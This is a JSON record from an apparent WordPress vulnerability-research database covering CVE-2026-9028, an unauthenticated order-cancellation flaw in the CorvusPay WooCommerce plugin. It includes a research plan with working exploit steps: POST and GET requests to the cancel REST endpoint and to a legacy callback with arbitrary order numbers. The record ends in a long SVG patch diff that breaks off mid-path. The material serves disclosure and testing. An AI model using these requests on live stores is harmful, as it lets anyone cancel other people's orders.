[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fpxoGiftQkUm795HZgqbm_rB4AAhcHqQBdlnzvsMqxwg":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-9028","corvuspay-woocommerce-payment-gateway-missing-authorization-to-unauthenticated-arbitrary-order-cancellation-via-ordernum","CorvusPay WooCommerce Payment Gateway \u003C= 2.7.4 - Missing Authorization to Unauthenticated Arbitrary Order Cancellation via 'order_number' Parameter","The CorvusPay WooCommerce Payment Gateway plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.7.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to cancel any WooCommerce order placed via the CorvusPay payment method by supplying an arbitrary order number to the \u002Fwp-json\u002Fcorvuspay\u002Fcancel\u002F REST endpoint.","corvuspay-woocommerce-integration",null,"\u003C=2.7.4","2.7.5","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-08 20:43:04","2026-07-09 09:31:20",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F402f1f9f-35c7-4304-891b-a07f3e84c189?source=api-prod",1,[22,23,24,25,26,27],"assets\u002Fimg\u002Fcards\u002Fdina.svg","corvuspay-woocommerce-integration.php","includes\u002Fclass-wc-gateway-corvuspay.php","includes\u002Fclass-wc-order-corvuspay.php","languages\u002Fcorvuspay-woocommerce-integration.pot","readme.txt","researched",false,3,"# Research Plan: CVE-2026-9028 CorvusPay WooCommerce Arbitrary Order Cancellation\n\n## 1. Vulnerability Summary\nThe **CorvusPay WooCommerce Payment Gateway** plugin (\u003C= 2.7.4) is vulnerable to an authorization bypass via its REST API. The plugin registers a REST endpoint designed to handle order cancellations (likely for payment provider callbacks), but it fails to implement a `permission_callback` to restrict access or a signature\u002Fsecret verification mechanism to validate that the request originated from CorvusPay. Consequently, any unauthenticated user can cancel any WooCommerce order by simply providing the `order_number`.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Fcorvuspay\u002Fcancel\u002F` (Namespace: `corvuspay`, Route: `\u002Fcancel\u002F`)\n- **HTTP Method:** Likely `POST` or `GET` (Common for payment callbacks).\n- **Vulnerable Parameter:** `order_number`\n- **Authentication:** None (Unauthenticated).\n- **Preconditions:** At least one WooCommerce order must exist that was initiated (but not necessarily completed) via the CorvusPay payment method.\n\n## 3. Code Flow\n1. **Route Registration:** In `includes\u002Fclass-wc-gateway-corvuspay.php`, the function `register_corvuspay_rest_routes` (hooked to `rest_api_init`) registers the route `\u002Fcorvuspay\u002Fcancel\u002F`.\n2. **Missing Permission Check:** The registration likely uses `'permission_callback' => '__return_true'` or omits it entirely, allowing public access.\n3. **Order Retrieval:** The callback function (e.g., `corvuspay_cancel_rest_handler`) extracts the `order_number` from the request.\n4. **Order Mapping:** The plugin uses `WC_Order_CorvusPay::get_post_by_corvuspay_order_number` (found in `includes\u002Fclass-wc-order-corvuspay.php`) to resolve the CorvusPay `order_number` to a WordPress Post ID.\n5. **State Change:** The logic calls `$order->update_status( 'cancelled', ... )` without verifying if the current request is authorized or cryptographically signed.\n\n## 4. Nonce Acquisition Strategy\nAccording to the vulnerability description, this is an **unauthenticated** bypass on a REST endpoint.\n- **REST API Nonces:** Typically, WordPress REST API requires a `X-WP-Nonce` header for **cookie-authenticated** sessions. However, endpoints intended for external webhooks (like payment gateways) are usually registered with `'permission_callback' => '__return_true'` and do not enforce nonce checks for unauthenticated requests.\n- **Bypass:** If the endpoint is correctly identified as a webhook receiver, **no nonce is required**.\n\n## 5. Exploitation Strategy\n\n### Step 1: Discover REST Route\nVerify the exact REST route registered by the plugin.\n```bash\nwp rest route list --prefix=corvuspay\n```\n\n### Step 2: Create a Target Order\nCreate a WooCommerce order to cancel.\n```bash\n# Create a customer user\nwp user create victim victim@example.com --role=customer\n\n# Create a product\nwp post create --post_type=product --post_title=\"Test Product\" --post_status=publish\n\n# Create an order for the victim\n# Note: In a real scenario, the order would be set to 'corvuspay' payment method\nwp wc order create --customer_id=$(wp user get victim --field=ID) --status=pending --user=victim --payment_method=corvuspay\n```\n\n### Step 3: Determine the CorvusPay Order Number\nThe plugin might format the `order_number` with a delimiter (see `WC_Order_CorvusPay::ORDER_NUMBER_DELIMITER = ' - '`). Use WP-CLI to see how the metadata is stored for the order.\n```bash\n# Check the metadata for the created order (e.g., ID 123)\nwp post meta list 123\n```\nLook for `_corvuspay_order_number`. If it doesn't exist, the exploit might use the raw Order ID.\n\n### Step 4: Execute Cancellation Request\nSend a request to the REST endpoint. We will try both GET and POST as the exact method is inferred.\n\n**Using POST (Likely):**\n```bash\n# Example for Order ID 123\nhttp_request POST \"http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fcorvuspay\u002Fcancel\u002F\" \\\n  --data '{\"order_number\": \"123\"}' \\\n  --header \"Content-Type: application\u002Fjson\"\n```\n\n**Using GET (Alternative):**\n```bash\nhttp_request GET \"http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fcorvuspay\u002Fcancel\u002F?order_number=123\"\n```\n\n## 6. Test Data Setup\n1. WooCommerce installed and active.\n2. CorvusPay plugin installed and active.\n3. One \"Pending Payment\" order created via the CorvusPay gateway.\n4. Record the Order ID (e.g., `123`).\n\n## 7. Expected Results\n- The HTTP response should indicate success (e.g., `200 OK` or a JSON success message).\n- The order status in WooCommerce must change from `pending` (or `processing`) to `cancelled`.\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the state change via WP-CLI:\n```bash\n# Check the status of the target order\nwp wc order get 123 --field=status\n```\n**Success Criteria:** The output is `cancelled`.\n\n## 9. Alternative Approaches\nIf the simple ID fails:\n- **Prefix Guessing:** If the site is in \"Test Mode\", the `order_number` might be prefixed. Check `includes\u002Fclass-wc-order-corvuspay.php` for prefixing logic.\n- **Legacy Endpoint:** The plugin also registers `woocommerce_api_corvuspay-cancel`. If the REST API is restricted, try the legacy WC API:\n  `http:\u002F\u002Flocalhost:8080\u002F?wc-api=corvuspay-cancel&order_number=123`\n- **Data Format:** If JSON fails, try standard `application\u002Fx-www-form-urlencoded` POST data.","The CorvusPay WooCommerce Payment Gateway plugin for WordPress is vulnerable to an authorization bypass due to missing signature or permission checks on its cancellation endpoints. This allows unauthenticated attackers to cancel any WooCommerce order placed via CorvusPay by providing an arbitrary order number to the REST API or legacy callback hooks.","\u002F\u002F includes\u002Fclass-wc-gateway-corvuspay.php line 233\nadd_action( 'woocommerce_api_corvuspay-cancel', array( $this, 'corvuspay_cancel_handler' ) );\nadd_action( 'rest_api_init', array( $this, 'register_corvuspay_rest_routes' ) );\n\n---\n\n\u002F\u002F includes\u002Fclass-wc-order-corvuspay.php line 147\n} elseif ( 'callback' === $type || 'callback-signed' === $type ) {\n    \u002F* Existing order from POST *\u002F\n    if ( ! is_null( $order ) ) {\n        throw new Exception( 'WC_Order_CorvusPay expects $order to be null when $type is set to \\'cardholder\\'.' );\n    }\n\n    \u002F* Create CorvusPay Client *\u002F\n    $config_params = ['store_id' => $this->get_store_id(), 'secret_key' => $this->get_secret_key(),\n                      'environment' => $this->options->environment, 'logger' => $this->log, 'version' => '1.4'];\n    $this->client = new CorvusPay\\CorvusPayClient( $config_params );\n\n    \u002F\u002F TODO add filter\n    $this->parameters = filter_input_array( INPUT_POST );\n\n    $post_id = $this->get_post_by_corvuspay_order_number( $this->parameters['order_number'] );\n\n    if ( null === $post_id ) {\n        $this->log->error( 'The parameter $post_id is null. There is no post with \n        _corvuspay_order_number equals ' . $this->parameters['order_number'] );\n    }\n\n    parent::__construct( $post_id );\n    \n    if ( 'callback-signed' === $type ) {\n        if ( isset( $this->parameters[\"approval_code\"] ) && $this->parameters[\"approval_code\"] != null ) {\n            $this->update_meta_data( '_corvuspay_approval_code', $this->parameters[\"approval_code\"] );\n            $this->update_meta_data( '_corvuspay_transaction_date', current_time( \"d.m.Y H:i:s\" ) );\n        }\n        $res = $this->client->validate->signature( $this->parameters );\n        $this->log->debug( 'Result from signature validation: ' . $res );\n    }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fassets\u002Fimg\u002Fcards\u002Fdina.svg \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fassets\u002Fimg\u002Fcards\u002Fdina.svg\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.4\u002Fassets\u002Fimg\u002Fcards\u002Fdina.svg\t2019-03-20 12:19:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcorvuspay-woocommerce-integration\u002F2.7.5\u002Fassets\u002Fimg\u002Fcards\u002Fdina.svg\t2026-06-18 09:41:54.000000000 +0000\n@@ -1 +1 @@\n-\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" viewBox=\"0 0 150 93.75\">\u003Cdefs>\u003Cstyle>.cls-1{fill:#f9f9f9;}.cls-2{fill:#0054a5;}.cls-2,.cls-3{fill-rule:evenodd;}.cls-3{fill:#ec1c24;}\u003C\u002Fstyle>\u003C\u002Fdefs>\u003Ctitle>dina\u003C\u002Ftitle>\u003Cg id=\"Layer_2\" data-name=\"Layer 2\">\u003Cg id=\"Layer_1-2\" data-name=\"Layer 1\">\u003Crect class=\"cls-1\" width=\"150\" height=\"93.75\" rx=\"5\"\u002F>\u003Cpath class=\"cls-2\" d=\"M22.43,49.44h1.51a4.83,4.83,0,0,0,2.91-.67,2.75,2.75,0,0,0,.85-2.24,2.82,2.82,0,0,0-.85-2.3A4.42,4.42,0,0,0,24,43.57H22.43v5.87Zm-5.69,3V40.54h6.84a34.63,34.63,0,0,1,3.94.12,9,9,0,0,1,2.17.55,5.83,5.83,0,0,1,2.79,2,5.73,5.73,0,0,1,.91,3.27,5.27,5.27,0,0,1-1.15,3.39A6.89,6.89,0,0,1,28.85,52a9.59,9.59,0,0,1-2.12.37c-.91.06-2.24.12-4.18.12Zm18.71-9.69V40.24h5.2v2.54Zm0,9.69V43.63h5.2v8.84Zm7.75,0V43.63h4.72V45a5.38,5.38,0,0,1,2-1.15,8.62,8.62,0,0,1,2.54-.36,7.63,7.63,0,0,1,2.12.24,3.86,3.86,0,0,1,1.57.78A2.74,2.74,0,0,1,57,45.69a6.51,6.51,0,0,1,.24,2.17v4.61H52.1V47.86a1.59,1.59,0,0,0-.43-1.33,1.94,1.94,0,0,0-1.33-.36,2.25,2.25,0,0,0-1.51.42,1.61,1.61,0,0,0-.43,1.27v4.61Zm25.12-3.94c-.48.12-1.15.24-1.94.36-1.33.25-1.93.55-1.93,1a.73.73,0,0,0,.36.61,2.56,2.56,0,0,0,1.09.18,3.11,3.11,0,0,0,1.88-.42,1.34,1.34,0,0,0,.6-1.28v-.3c0-.06,0-.12-.06-.12Zm.49,3.94-.31-.85a9.49,9.49,0,0,1-2.12.85,8.81,8.81,0,0,1-2.6.3A6.91,6.91,0,0,1,60.33,52,2.29,2.29,0,0,1,59.18,50a2.08,2.08,0,0,1,1.15-2,16.49,16.49,0,0,1,4.48-.91c.3,0,.67-.06,1.15-.06,1.64-.06,2.42-.37,2.42-.79a.6.6,0,0,0-.42-.61,4.6,4.6,0,0,0-1.45-.12,3.16,3.16,0,0,0-1.21.19.79.79,0,0,0-.49.66H59.72a2.63,2.63,0,0,1,1.82-2.24,12.82,12.82,0,0,1,5.15-.79,14.34,14.34,0,0,1,3,.25,7.09,7.09,0,0,1,2.12.54,3.47,3.47,0,0,1,1.34.91,2.9,2.9,0,0,1,.36,1.57v4.85a.87.87,0,0,0,.12.42,1.22,1.22,0,0,0,.42.36v.25ZM87.7,47.8H93a4.65,4.65,0,0,1-2.42,3.7,11.88,11.88,0,0,1-6,1.27A11.16,11.16,0,0,1,78,51.07a5.14,5.14,0,0,1-2.36-4.54,5.44,5.44,0,0,1,2.3-4.66,11.67,11.67,0,0,1,6.6-1.69,11.88,11.88,0,0,1,6,1.27A4.68,4.68,0,0,1,93,45.08H87.51a1.7,1.7,0,0,0-.84-1.39,4,4,0,0,0-2.12-.49,3,3,0,0,0-3.33,3.33A3.33,3.33,0,0,0,82.07,49a3.8,3.8,0,0,0,2.6.85,3.7,3.7,0,0,0,2.12-.54,2.21,2.21,0,0,0,.91-1.46Zm15.86.73c-.49.12-1.15.24-2,.36-1.27.25-1.94.55-1.94,1,0,.25.12.43.43.61a2.53,2.53,0,0,0,1.09.18,3.18,3.18,0,0,0,1.87-.42,1.45,1.45,0,0,0,.61-1.28.45.45,0,0,0-.06-.3v-.12Zm.48,3.94-.3-.85a9.07,9.07,0,0,1-2.18.85,8.85,8.85,0,0,1-2.6.3A6.47,6.47,0,0,1,95.57,52,2.35,2.35,0,0,1,94.36,50a2.13,2.13,0,0,1,1.21-2,16.4,16.4,0,0,1,4.48-.91c.24,0,.66-.06,1.09-.06,1.63-.06,2.48-.37,2.48-.79a.68.68,0,0,0-.42-.61,4.67,4.67,0,0,0-1.46-.12,2.81,2.81,0,0,0-1.21.19.86.86,0,0,0-.54.66H95a2.45,2.45,0,0,1,1.82-2.24,12.57,12.57,0,0,1,5.14-.79,14.5,14.5,0,0,1,3,.25,7.09,7.09,0,0,1,2.12.54,3.08,3.08,0,0,1,1.27.91,2.89,2.89,0,0,1,.37,1.57v4.85a.54.54,0,0,0,.18.42c.06.18.24.24.42.36v.25Zm7.27,0V43.63h4.78v1.63a3,3,0,0,1,1.46-1.39,6.22,6.22,0,0,1,2.54-.42h.48V47a1.66,1.66,0,0,0-.54-.06h-.49a4.47,4.47,0,0,0-2.3.42,1.55,1.55,0,0,0-.78,1.51v3.64Zm24.58,0h-4.6V51.38a5,5,0,0,1-1.88,1,7.55,7.55,0,0,1-2.42.36,6.09,6.09,0,0,1-4-1.27,4.26,4.26,0,0,1-1.57-3.45A4.16,4.16,0,0,1,123,44.72a5.82,5.82,0,0,1,4-1.34,7.86,7.86,0,0,1,2.12.31,4.49,4.49,0,0,1,1.69.91V40.54h5.09V52.47Zm-7.14-2.3a2.27,2.27,0,0,0,1.57-.55,2,2,0,0,0,.54-1.51,1.82,1.82,0,0,0-.54-1.46,2.57,2.57,0,0,0-3.15,0,1.82,1.82,0,0,0-.54,1.46,2,2,0,0,0,.54,1.51,2.18,2.18,0,0,0,1.58.55Z\"\u002F>\u003Cpath class=\"cls-2\" d=\"M45,72.63h61.88a25.77,25.77,0,0,0,23.85-16h-2.9a23,23,0,0,1-21,13.44H45A23.09,23.09,0,0,1,24,56.58H21.16A25.69,25.69,0,0,0,45,72.63Zm85.73-35.18a25.77,25.77,0,0,0-23.85-16H45a25.69,25.69,0,0,0-23.79,16H24A23.09,23.09,0,0,1,45,24h61.88a23,23,0,0,1,21,13.44Z\"\u002F>\u003Cpath class=\"cls-3\" d=\"M76.13,14.26a32.83,32.83,0,0,1,31.24,23.19H44.77A32.87,32.87,0,0,1,76.13,14.26Zm31.24,42.32a32.72,32.72,0,0,1-62.6,0Z\"\u002F>\u003C\u002Fg>\u003C\u002Fg>\u003C\u002Fsvg>\n\\ No newline at end of file\n+\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" viewBox=\"0 0 150 93.75\" width=\"150\" height=\"93.75\" preserveAspectRatio=\"xMidYMid meet\">\u003Cdefs>\u003Cstyle>.cls-1{fill:#f9f9f9;}\u003C\u002Fstyle>\u003C\u002Fdefs>\u003Ctitle>DinaCard\u003C\u002Ftitle>\u003Crect class=\"cls-1\" width=\"150\" height=\"93.75\" rx=\"5\"\u002F>\u003Cg transform=\"translate(4 20.42735811350919) scale(0.1135091926458833) translate(-296 -390)\"> \u003Cg id=\"group-MC0\">\u003Cpath   id=\"path2\"   d=\"m 0,0 c 3.426,-2.195 8.344,-3.864 13.613,-3.864 7.818,0 12.384,4.128 12.384,10.1 0,5.446 -3.161,8.696 -11.154,11.682 -9.661,3.513 -15.634,8.606 -15.634,16.863 0,9.222 7.642,16.073 19.147,16.073 5.973,0 10.452,-1.406 12.999,-2.899 L 29.247,41.72 c -1.845,1.141 -5.797,2.81 -11.154,2.81 -8.08,0 -11.155,-4.831 -11.155,-8.871 0,-5.533 3.601,-8.256 11.77,-11.418 10.013,-3.864 15.019,-8.695 15.019,-17.39 0,-9.134 -6.675,-17.126 -20.64,-17.126 -5.709,0 -11.945,1.755 -15.108,3.864 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1225.9172,786.90373)\" \u002F>\u003Cpath   id=\"path3\"   d=\"M 0,0 C 0.088,4.83 -2.02,12.472 -10.715,12.472 -18.62,12.472 -21.957,5.357 -22.572,0 Z m -22.66,-5.533 c 0.176,-10.452 6.764,-14.756 14.58,-14.756 5.533,0 8.959,0.967 11.769,2.196 l 1.406,-5.533 c -2.723,-1.229 -7.466,-2.723 -14.229,-2.723 -13.087,0 -20.903,8.695 -20.903,21.518 0,12.823 7.553,22.836 19.936,22.836 13.965,0 17.567,-12.12 17.567,-19.938 0,-1.581 -0.088,-2.722 -0.264,-3.6 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1321.2415,765.4728)\" \u002F>\u003Cpath   id=\"path4\"   d=\"m 0,0 c -2.021,-0.966 -6.5,-2.459 -12.208,-2.459 -12.823,0 -21.167,8.694 -21.167,21.693 0,13.087 8.958,22.661 22.835,22.661 4.567,0 8.607,-1.142 10.716,-2.284 l -1.757,-5.884 c -1.845,0.965 -4.743,2.02 -8.959,2.02 -9.749,0 -15.019,-7.29 -15.019,-16.073 0,-9.837 6.325,-15.898 14.756,-15.898 4.391,0 7.289,1.055 9.486,2.021 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1384.3625,797.3256)\" \u002F>\u003Cpath   id=\"path5\"   d=\"m 0,0 c 0,-4.479 0.088,-8.344 0.352,-11.682 h -6.851 l -0.439,6.939 h -0.176 c -1.932,-3.425 -6.499,-7.904 -14.053,-7.904 -6.675,0 -14.667,3.776 -14.667,18.619 v 24.856 h 7.729 V 7.377 c 0,-8.08 2.546,-13.613 9.485,-13.613 5.182,0 8.783,3.601 10.188,7.114 0.44,1.054 0.703,2.459 0.703,3.952 V 30.828 H 0 Z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1443.8533,783.74107)\" \u002F>\u003Cpath   id=\"path6\"   d=\"M 0,0 C 0,5.007 -0.088,9.311 -0.351,13.263 H 6.412 L 6.764,4.831 h 0.262 c 1.933,5.709 6.676,9.31 11.858,9.31 0.79,0 1.405,-0.088 2.108,-0.176 V 6.675 C 20.201,6.851 19.411,6.851 18.356,6.851 12.911,6.851 9.047,2.811 7.993,-2.986 7.817,-4.04 7.729,-5.357 7.729,-6.587 v -22.66 H 0 Z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1460.9511,760.3204)\"\u002F>\u003Cpath   id=\"path7\"   d=\"M 0,0 C 0.088,4.83 -2.02,12.472 -10.715,12.472 -18.619,12.472 -21.957,5.357 -22.572,0 Z m -22.66,-5.533 c 0.176,-10.452 6.764,-14.756 14.58,-14.756 5.533,0 8.959,0.967 11.769,2.196 l 1.406,-5.533 c -2.723,-1.229 -7.466,-2.723 -14.229,-2.723 -13.087,0 -20.903,8.695 -20.903,21.518 0,12.823 7.553,22.836 19.936,22.836 13.966,0 17.567,-12.12 17.567,-19.938 0,-1.581 -0.088,-2.722 -0.264,-3.6 z\"   style=\"fill:#0b3b6a;fill-opacity:1;fill-rule:nonzero;stroke:none\"   transform=\"matrix(1.3333333,0,0,-1.3333333,1534.0265,765.4728)\" \u002F>\u003Cpath   id=\"path8\"   d=\"m 0,0 c -23.104,48.986 -71.894,78.522 -127.259,78.522 -70.137,0 -135.309,-47.11 -158.324,-112.163 27.325,79.541 101.25,132.979 180.812,132.979 62.798,0 118.141,-33.504 145.842,-88.564 L 30.7,-5.514 Z m -19.645,-124.063 c 3.692,3.366 6.271,7.356 7.736,11.97 1.467,4.614 2.633,8.983 3.502,13.109 l 7.329,32.244 c 0.867,3.474 1.411,6.162 1.627,8.06 0.218,1.901 0.325,3.339 0.325,4.317 0,0.976 -0.242,2.198 -0.732,3.663 -0.488,1.466 -1.711,3.122 -3.663,4.967 h 23.613 c 2.279,0 4.449,0.272 6.512,0.814 2.064,0.544 4.182,1.357 6.352,2.442 l -3.747,-16.609 c 1.088,1.845 2.443,3.718 4.074,5.619 1.627,1.898 3.474,3.609 5.535,5.129 2.063,1.519 4.343,2.74 6.84,3.664 2.496,0.922 5.212,1.33 8.144,1.222 l 3.745,-0.164 -5.376,-24.427 c -1.845,1.521 -3.58,2.497 -5.212,2.931 -1.626,0.434 -2.875,0.652 -3.744,0.652 -3.148,0 -5.943,-0.76 -8.386,-2.28 -2.443,-1.519 -4.423,-3.42 -5.945,-5.699 -0.867,-1.195 -1.627,-2.58 -2.28,-4.154 -0.65,-1.573 -1.248,-3.175 -1.79,-4.803 -0.543,-1.629 -1.004,-3.122 -1.384,-4.478 -0.38,-1.357 -0.625,-2.416 -0.734,-3.176 l -2.115,-9.934 c -0.219,-0.977 -0.463,-2.144 -0.734,-3.501 -0.271,-1.357 -0.544,-2.823 -0.814,-4.397 -0.271,-1.575 -0.515,-3.094 -0.734,-4.56 -0.216,-1.465 -0.325,-2.741 -0.325,-3.826 0,-2.389 0.325,-4.29 0.976,-5.7 0.652,-1.411 1.249,-2.443 1.792,-3.095 z m -535.445,16.936 c 1.52,-0.542 3.121,-0.95 4.804,-1.221 1.683,-0.271 3.284,-0.406 4.804,-0.406 3.908,0 8.033,1.085 12.376,3.256 4.343,2.171 8.36,5.619 12.052,10.34 3.691,4.722 6.757,10.749 9.201,18.077 2.443,7.327 3.663,16.149 3.663,26.463 0,6.622 -0.895,11.752 -2.686,15.389 -1.792,3.636 -3.909,6.297 -6.352,7.979 -2.443,1.683 -4.939,2.688 -7.491,3.013 -2.551,0.325 -4.532,0.488 -5.944,0.488 -1.194,0 -2.089,-0.026 -2.687,-0.08 -0.598,-0.055 -1.71,-0.299 -3.338,-0.733 z m -42.83,-16.936 c 2.39,1.737 4.343,3.528 5.863,5.374 1.521,1.846 2.769,3.828 3.746,5.945 0.977,2.116 1.764,4.315 2.361,6.595 0.598,2.28 1.167,4.668 1.711,7.165 l 14.167,63.837 c 1.085,4.776 1.71,8.196 1.872,10.259 0.163,2.062 0.245,3.419 0.245,4.07 0,1.521 -0.299,3.149 -0.895,4.886 -0.597,1.737 -1.873,3.691 -3.827,5.862 h 49.831 c 6.621,0 12.511,-0.515 17.668,-1.546 5.158,-1.031 9.853,-2.959 14.088,-5.78 5.753,-3.91 9.88,-9.066 12.375,-15.472 2.498,-6.406 3.746,-13.625 3.746,-21.658 0,-5.645 -0.624,-11.265 -1.873,-16.855 -1.247,-5.592 -3.039,-10.912 -5.373,-15.959 -2.334,-5.05 -5.266,-9.771 -8.794,-14.168 -3.529,-4.397 -7.573,-8.225 -12.132,-11.481 -5.646,-4.016 -11.888,-6.867 -18.729,-8.549 -6.839,-1.683 -15.252,-2.525 -25.24,-2.525 z m 162.198,118.228 c 4.559,0 8.196,-1.329 10.911,-3.99 2.714,-2.659 4.071,-6.269 4.071,-10.829 0,-5.32 -1.628,-9.662 -4.885,-13.028 -3.258,-3.366 -7.383,-5.048 -12.376,-5.048 -4.887,0 -8.741,1.438 -11.563,4.315 -2.823,2.877 -4.235,6.595 -4.235,11.156 0,5.211 1.629,9.417 4.887,12.62 3.256,3.203 7.653,4.804 13.19,4.804 m -5.7,-39.898 c 4.234,0 7.573,0.407 10.015,1.222 2.444,0.814 4.261,1.492 5.455,2.034 l -12.213,-55.367 c -0.218,-0.76 -0.461,-1.845 -0.733,-3.258 -0.271,-1.41 -0.407,-2.659 -0.407,-3.744 0,-1.195 0.217,-2.091 0.652,-2.688 0.433,-0.596 0.95,-1.058 1.547,-1.384 0.597,-0.326 1.194,-0.516 1.79,-0.57 0.598,-0.054 1.114,-0.082 1.547,-0.082 1.738,0 3.096,0.164 4.072,0.489 0.978,0.327 1.737,0.597 2.28,0.815 l -11.563,-14.82 c -3.147,-1.52 -5.916,-2.442 -8.304,-2.768 -2.389,-0.326 -4.506,-0.488 -6.351,-0.488 -1.521,0 -3.176,0.162 -4.967,0.488 -1.792,0.326 -3.448,1.033 -4.967,2.118 -1.52,1.085 -2.795,2.633 -3.828,4.64 -1.03,2.009 -1.546,4.695 -1.546,8.061 0,2.496 0.217,4.723 0.651,6.677 0.434,1.955 0.924,4.125 1.466,6.514 l 6.84,31.104 c 0.108,0.652 0.27,1.465 0.488,2.443 0.217,0.978 0.435,2.063 0.652,3.257 0.217,1.193 0.406,2.36 0.569,3.501 0.163,1.14 0.245,2.198 0.245,3.176 0,2.171 -0.543,3.989 -1.629,5.454 -1.085,1.466 -1.954,2.524 -2.606,3.176 z m 14.819,-78.33 c 3.69,3.366 6.269,7.356 7.736,11.97 1.465,4.614 2.632,8.983 3.5,13.109 l 7.33,32.244 c 0.867,3.474 1.41,6.162 1.627,8.06 0.217,1.901 0.327,3.339 0.327,4.317 0,0.976 -0.245,2.198 -0.734,3.663 -0.489,1.466 -1.71,3.122 -3.664,4.967 h 23.613 c 2.281,0 4.451,0.272 6.514,0.814 2.063,0.544 4.18,1.357 6.351,2.442 l -2.932,-12.701 c 2.498,2.823 4.968,5.02 7.41,6.596 2.443,1.573 4.723,2.741 6.841,3.501 2.116,0.759 3.962,1.221 5.536,1.384 1.574,0.163 2.795,0.245 3.664,0.245 3.039,0 5.891,-0.462 8.55,-1.385 2.659,-0.922 4.993,-2.253 7.002,-3.99 2.009,-1.738 3.583,-3.772 4.722,-6.106 1.141,-2.336 1.71,-4.968 1.71,-7.898 0,-0.87 -0.081,-2.255 -0.243,-4.153 -0.163,-1.901 -0.679,-4.696 -1.549,-8.386 l -4.885,-22.311 c -0.542,-2.063 -0.84,-3.61 -0.895,-4.641 -0.053,-1.032 -0.082,-1.711 -0.082,-2.036 0,-1.087 0.3,-2.225 0.897,-3.42 0.597,-1.194 2.034,-1.792 4.315,-1.792 1.303,0 2.688,0.164 4.151,0.489 1.467,0.327 2.634,0.652 3.503,0.978 l -11.563,-14.983 c -1.736,-0.868 -3.746,-1.629 -6.025,-2.279 -2.28,-0.652 -4.995,-0.977 -8.143,-0.977 -3.581,0 -6.513,0.515 -8.793,1.547 -2.28,1.031 -4.071,2.306 -5.374,3.827 -1.303,1.519 -2.199,3.229 -2.688,5.129 -0.487,1.9 -0.732,3.664 -0.732,5.293 0,1.845 0.218,3.609 0.651,5.292 0.435,1.684 0.923,3.664 1.466,5.943 l 5.7,25.08 c 0.217,0.543 0.38,1.195 0.488,1.954 0.11,0.759 0.163,1.465 0.163,2.117 0,1.846 -0.299,3.258 -0.895,4.235 -0.598,0.976 -1.277,1.709 -2.035,2.197 -0.761,0.489 -1.548,0.788 -2.363,0.897 -0.813,0.107 -1.438,0.162 -1.872,0.162 -4.343,0 -7.518,-1.655 -9.527,-4.967 -2.008,-3.311 -3.61,-7.734 -4.803,-13.272 l -3.746,-18.076 c -0.218,-0.977 -0.462,-2.144 -0.734,-3.501 -0.27,-1.357 -0.542,-2.823 -0.813,-4.397 -0.272,-1.575 -0.516,-3.094 -0.733,-4.56 -0.218,-1.465 -0.326,-2.741 -0.326,-3.826 0,-2.389 0.326,-4.29 0.976,-5.7 0.653,-1.411 1.249,-2.443 1.793,-3.095 z m 146.564,-0.814 c -1.194,-0.326 -2.579,-0.651 -4.153,-0.977 -1.574,-0.326 -3.446,-0.488 -5.617,-0.488 -3.583,0 -7.058,0.542 -10.422,1.627 -3.367,1.085 -6.379,2.769 -9.04,5.049 -2.66,2.28 -4.777,5.265 -6.35,8.958 -1.575,3.69 -2.362,8.142 -2.362,13.352 0,3.257 0.325,6.677 0.977,10.26 0.652,3.582 1.683,7.166 3.095,10.747 1.41,3.583 3.284,7.085 5.618,10.504 2.335,3.421 5.13,6.595 8.387,9.527 1.954,1.737 4.097,3.393 6.432,4.966 2.335,1.574 4.994,2.933 7.98,4.072 2.986,1.14 6.297,2.064 9.933,2.769 3.637,0.706 7.735,1.059 12.295,1.059 2.281,0 4.425,-0.11 